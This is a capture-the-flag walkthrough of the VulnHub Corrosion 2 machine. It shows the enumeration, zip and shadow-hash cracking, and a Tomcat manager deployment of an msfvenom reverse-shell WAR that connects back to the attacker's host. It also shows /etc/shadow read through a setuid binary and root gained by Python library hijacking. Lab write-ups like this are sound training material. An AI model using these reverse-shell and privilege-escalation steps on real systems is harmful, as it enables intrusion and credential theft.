Corrosion 2

Walkthrough of the Corrosion 2 machine from the Corrosion series

Corrosion 2

Link to VulnHub

Corrosion 2 is the second VM of 2-box Corrosion VM series.

Port scanning

The first thing we do is try to detect the opened ports on the target machine. To do this we will launch a scan with nmap against the entire port range (-p-) using the fastest timing template (-T5), filtering for open ports (--open), and disabling DNS resolution (-n) and host discovery (-Pn).

nmap -p- -T5 --open -Pn -n 10.0.103

Result:

Starting Nmap 7.93 ( https://nmap.org ) at 2023-03-04 17:23 CET Nmap scan report for 10.0.103 Host is up (0.00024s latency). Not shown: 65532 closed tcp ports (conn-refused) PORT STATE SERVICE 22/tcp open ssh 80/tcp open http 8080/tcp open http-proxy Nmap done: 1 IP address (1 host up) scanned in 0.99 seconds

From this first scan we obtain that we have the following ports open: 22 (SSH), 80 (HTTP) and 8080 (HTTP-PROXY). Knowing that these ports are open, the next thing we are going to do is to try to detect which services are being exposed and the services versions (-sCV):

nmap -p22,80,8080 -sCV 10.0.0.103

Result:

Starting Nmap 7.93 ( https://nmap.org ) at 2023-03-04 17:26 CET Nmap scan report for corrosion.bikoschool (10.0.103) Host is up (0.00030s latency). PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 3072 6ad8446080397ef02d082fe58363f070 (RSA) | 256 f2a662d7e76a94be7b6ba512692efed7 (ECDSA) |_ 256 28e10d048019be44a64873aae86a6544 (ED25519) 80/tcp open http Apache httpd 2.4.41 ((Ubuntu)) |_http-server-header: Apache/2.4.41 (Ubuntu) |_http-title: Apache2 Ubuntu Default Page: It works 8080/tcp open http Apache Tomcat 9.0.53 |_http-title: Apache Tomcat/9.0.53 |_http-favicon: Apache Tomcat |_http-open-proxy: Proxy might be redirecting requests Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 6.71 seconds

From the result of this more detailed scan we obtain the following:

  • 22/tcp: SSH - OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
  • 80/tcp: HTTP - Apache httpd 2.4.41 ((Ubuntu))
  • 8080/tcp: HTTP - Apache Tomcat 9.0.53

HTTP service analysis (80,8080/TCP)

Basic directory listing (80/TCP)

Since the port scan tells us that port 80 is open with an exposed HTTP service, the first thing we can do is to see what is being exposed on that port. To do this we type the IP of the target machine in our browser and see the result. After doing so, we find that the only thing that is shown is the default Apache installation page, so we will have to find another way to obtain possible existing routes.

To identify these routes we will use Gobuster specifying that we want to list directories (dir) against the IP of the target machine (-u), using additional extensions (-x), and using a directory listing oriented dictionary (-w):

gobuster dir -u http://10.0.0.103 -x html,txt,php -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt

Result:

=============================================================== Gobuster v3.1.0 by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart) =============================================================== [+] Url: http://10.0.0.103 [+] Method: GET [+] Threads: 10 [+] Wordlist: /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt [+] Negative Status codes: 404 [+] User Agent: gobuster/3.1.0 [+] Extensions: html,txt,php [+] Timeout: 10s =============================================================== 2023/03/10 18:31:19 Starting gobuster in directory enumeration mode =============================================================== /index.html (Status: 200) [Size: 10918] /server-status (Status: 403) [Size: 275] =============================================================== 2023/03/10 18:39:18 Finished ===============================================================

From the result of the scan we do not get any interesting results. The first one is the page we have seen in the browser, and we cannot access the second one (server-status). As we did not find anything interesting here, we will have to try the other HTTP service exposed on port 8080.

Basic directory listing (8080/TCP)

As we have not found anything on port 80, we are going to repeat the process on port 8080. We use Gobuster with the same configuration but against the other port:

gobuster dir -u http://10.0.0.103:8080 -x html,txt,php -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt

Relevant result (part of the 400 errors have been removed):

=============================================================== Gobuster v3.1.0 by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart) =============================================================== [+] Url: http://10.0.0.103:8080 [+] Method: GET [+] Threads: 10 [+] Wordlist: /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt [+] Negative Status codes: 404 [+] User Agent: gobuster/3.1.0 [+] Extensions: html, [+] Timeout: 10s =============================================================== 2023/03/10 18:32:00 Starting gobuster in directory enumeration mode =============================================================== /docs (Status: 302) [Size: 0] [--> /docs/] /examples (Status: 302) [Size: 0] [--> /examples/] /readme.txt (Status: 200) [Size: 153] /manager (Status: 302) [Size: 0] [--> /manager/] /http%3A%2F%2Fwww (Status: 400) [Size: 804] ... /http%3A%2F%2Fswik. (Status: 400) [Size: 804] =============================================================== 2023/03/10 18:39:15 Finished ===============================================================

From the result we obtain that there are 3 paths that can be interesting:

  • /docs: which redirects to /docs/
  • /examples: which redirects to /examples/
  • /manager: which redirects to /manager/
  • /readme.txt: file that may contain relevant information.

If we access the different paths, we see that in both /docs/ and /examples/ we can navigate and access different resources, but all these resources are Tomcat's defaults. On the other hand, if we enter /manager/ to access the administration page, it asks us for a user and password that we do not have. Finally, if we access the note.txt file we find the following clue:

Hey randy! It's your System Administrator. I left you a file on the server, I'm sure nobody will find it. Also remember to use that password I gave you.

From this we get that there is a user named randy, and that he has left a file on the server that will be protected by a password. This tells us that we have to keep looking for a file with an extension that we haven't looked for yet.

List of other file types (80,8080/TCP)

As we haven't found anything using the most typical extensions (html, php, txt), let's try to launch another scan using other extensions that might be interesting, like zip. For this we use Gobuster again against both ports. We start with port 80:

gobuster dir -u http://10.0.0.103 -x zip -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt

As we did not get any new results, we try port 8080:

gobuster dir -u http://10.0.0.103:8080 -x zip -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt

Relevant result (part of the 400 errors have been removed):

=============================================================== Gobuster v3.1.0 by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart) =============================================================== [+] Url: http://10.0.0.103:8080 [+] Method: GET [+] Threads: 10 [+] Wordlist: /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt [+] Negative Status codes: 404 [+] User Agent: gobuster/3.1.0 [+] Extensions: zip [+] Timeout: 10s =============================================================== 2023/03/12 11:52:30 Starting gobuster in directory enumeration mode =============================================================== /docs (Status: 302) [Size: 0] [--> /docs/] /examples (Status: 302) [Size: 0] [--> /examples/] /backup.zip (Status: 200) [Size: 33723] /manager (Status: 302) [Size: 0] [--> /manager/] /http%3A%2F%2Fwww (Status: 400) [Size: 804] ... /http%3A%2F%2Fswik.zip (Status: 400) [Size: 804] =============================================================== 2023/03/12 11:55:38 Finished ===============================================================

Now we have found something new that we had not previously discovered:

  • /backup.zip

Analysis of the backup.zip file

From the last scan we obtained that in the HTTP service exposed on port 8080 there is a backup.zip file. What we are going to do is to download it on the attacking machine with wget and unzip it with unzip to see what is inside:

wget http://10.0.0.103:8080/backup.zip unzip backup.zip -d backup

When doing this we find that it asks us for a password in order to decompress it, so we are going to follow the same procedure that we followed in the Corrosion 1 machine walkthrough. First we obtain the hash with zip2john and then we crack the hash using a brute force attack with John the Ripper:

zip2john backup.zip > hash.txt john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt

Result:

Using default input encoding: UTF-8 Loaded 1 password hash (PKZIP [32/64]) Will run 4 OpenMP threads Press 'q' or Ctrl-C to abort, almost any other key for status @administrator_hi5 (backup.zip) 1g 0:00:00:00 DONE (2023-03-12 12:07) 1.265g/s 14548Kp/s 14548Kc/s 14548KC/s @b00d@!m@l..:kso6d Use the "--show" option to display all of the cracked passwords reliably Session completed

John the Ripper reveals that the zip password is @administrator_hi5, so now we can unzip the backup.zip file and see what is inside:

backup ├── catalina.policy ├── catalina.properties ├── context.xml ├── jaspic-providers.xml ├── jaspic-providers.xsd ├── logging.properties ├── server.xml ├── tomcat-users.xml ├── tomcat-users.xsd └── web.xml

Inside the backup.zip we have a some Tomcat server configuration files. If we dig into the files, inside the tomcat-users.xml file we can find the following:

<role rolename="manager-gui"/> <user username="manager" password="melehifokivai" roles="manager-gui"/> <role rolename="admin-gui"/> <user username="admin" password="melehifokivai" roles="admin-gui, manager-gui"/>

From here we get 2 users sharing a password:

  • manager: melehifokivai
  • admin: melehifokivai

If we use the credentials of the user admin in the authentication that appeared in `http://10.0.0.103:8080/manager/ we can see that it allows us to access the Tomcat administration panel.

Gaining access to the target machine

As we have administrator access to the Tomcat application manager, what we are going to try to do is to upload a malicious application to the target machine that will allow us to gain access to it.

To create this malicious application we use msfvenom indicating that we want to use a payload for java to start a reverse shell (-p java/shell_reverse_tcp), in war format (-f war), with the name reverse.war (reverse.war), and indicating the IP (LHOST) and port (LPORT) on which we will be listening:

msfvenom -p java/shell_reverse_tcp LHOST=10.0.0.100 LPORT=8888 -f war -o reverse.war

Result:

Payload size: 13314 bytes Final size of war file: 13314 bytes Saved as: reverse.war

Once we have our malicious jar file, we start listening on the port we indicated when generating the jar using netcat:

nc -nlvp 8888

Receiving the message confirming that we are listening:

listening on [any] 8888 ...

And then we upload our file using the Tomcat administration interface:

http landing page

After selecting our file and hitting "Deploy", the application should be listed in the "Applications" section with the path /reverse. If we now go to that url we should receive the connection to our netcat:

connect to [10.0.0.100] from (UNKNOWN) [10.0.0.103] 38672

Now, in order to have a fully interactive shell, we launch a pseudo console with script /dev/null -c bash, press Ctrl + z and do a tty treatment with stty raw -echo; fg. We do reset to restart the terminal configuration, type xterm as terminal type and export 2 environment variables:

  • export TERM=xterm
  • export SHELL=bash

With this we should be able to do Ctrl + c to end the execution of a command, or Ctrl + l to clear the terminal. We can also go back in the command history.

If we check the user and IP, we get that we are connected as the user tomcat and that we are on the IP of the target machine, so we are not in any virtualized environment (LXC, docker, ...).

Pivoting to user jaye

If we investigate a little bit the directories in /home and the content of the file /etc/passwd we obtain that the following users exist:

  • root
  • jaye
  • randy
  • tomcat

It is very common for passwords to be reused so one thing we can do is to test all the passwords we have obtained against the different users. Currently we have obtained the following:

  • @administrator_hi5
  • melehifokivai

If we test those passwords against the different users, we will see that the password melehifokivai is valid for the user jaye.

Pivotando al usuario randy

Looking through the jaye files we find an executable setuid whose owner is root in /home/jaye/Files/look. If we go to that directory and try to run it (./look) we get the following:

usage: look [-bdf] [-t char] string [file ...]

It seems that what it does is to look for a string in a list of files. If you play a little with the executable you will see that it does a sort of grep against the indicated file so we can try, for example, to see if we are able to access the content of the file /etc/shadown trying to get the hash of the user randy:

./look "randy" /etc/shadow

Result:

randy:$6$bQ8rY/73PoUA4lFX$i/aKxdkuh5hF8D78k50BZ4eInDWklwQgmmpakv/gsuzTodngjB340R1wXQ8qWhY2cyMwi.61HJ36qXGvFHJGY/:18888:0:99999:7:::

As we can read lines from the file, we save the above content related to the user randy in a file (shadow.txt). We get the randy information from the file /etc/passwd with the command cat /etc/passwd | grep randy and save it in another file (passwd.txt). Then we prepare the hash with unshadow and try to crack it with John the Ripper:

unshadow passwd.txt shadow.txt > unshadowed.txt john --wordlist=/usr/share/wordlists/rockyou.txt unshadowed.txt

Result (after waiting for a while):

Using default input encoding: UTF-8 Loaded 1 password hash (sha512crypt, crypt(3) $6$ [SHA512 256/256 AVX2 4x]) Cost 1 (iteration count) is 5000 for all loaded hashes Will run 4 OpenMP threads Press 'q' or Ctrl-C to abort, almost any other key for status 07051986randy (randy) 1g 0:00:42:32 DONE (2023-03-12 14:23) 0.000391g/s 5458p/s 5458c/s 5458C/s 070552898..070488m Use the "--show" option to display all of the cracked passwords reliably Session completed

The result tells us that the password of the user randy is 07051986randy. We can verify this by running su randy on the target machine or by connecting via SSH (ssh randy@10.0.0.103).

If we list the contents of the home directory of user randy /home/randy we find the first flag (user.txt): ca73a018ae6908a7d0ea5d1c269ba4b6.

Gaining root access

When we listed the contents of randy's home directory, we saw that we have a Python script whose owner is root, and there is also a note.txt file.

-rw-r--r-- 1 root root 283 Sep 20 2021 note.txt -rwxr-xr-x 1 root root 210 Sep 20 2021 randombase64.py

The note.txt has the following content:

Hey randy this is your system administrator, hope your having a great day! I just wanted to let you know that I changed your permissions for your home directory. You won't be able to remove or add files for now. I will change these permissions later on. See you next Monday randy!

Which tells us that we cannot modify or write to the home directory of randy, preventing us from replacing the contents of the randombase64.py file with another one that provides us with a shell as root.

On the other hand, we have the python script with the following content:

import base64 message = input("Enter your string: ") message_bytes = message.encode('ascii') base64_bytes = base64.b64encode(message_bytes) base64_message = base64_bytes.decode('ascii') print(base64_message)

Which imports the base64 library, asks the user to enter a text string and encodes it in base64.

If we ask for the user's permissions by running sudo -l we get the following:

Matching Defaults entries for randy on corrosion: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin User randy may run the following commands on corrosion: (root) PASSWD: /usr/bin/python3.8 /home/randy/randombase64.py

Which tells us that we can run both the /home/randy/randombase64.py script and the /usr/bin/python3.8 python binary as root. This means that we could modify the base64 library code by making it provide us with a shell as root. This technique is known as Python Library Hijacking.

The first thing we have to do is to find where the library to be modified is located, so we run locate base64.py. The result tells us that it is located in /usr/lib/python3.8/base64.py, so with nano we add the following 2 lines after the imports:

import os os.system ("/bin/bash")

We save the file and run the randombase64.py script with sudo:

sudo /usr/bin/python3.8 /home/randy/randombase64.py

After this, we would already have access as root to the target machine. The next thing would be to find the flag of the root user.

If we list the contents of the home directory of the user root /root we find the second flag (root.txt): 2fdbf8d4f894292361d6c72c8e833a4b.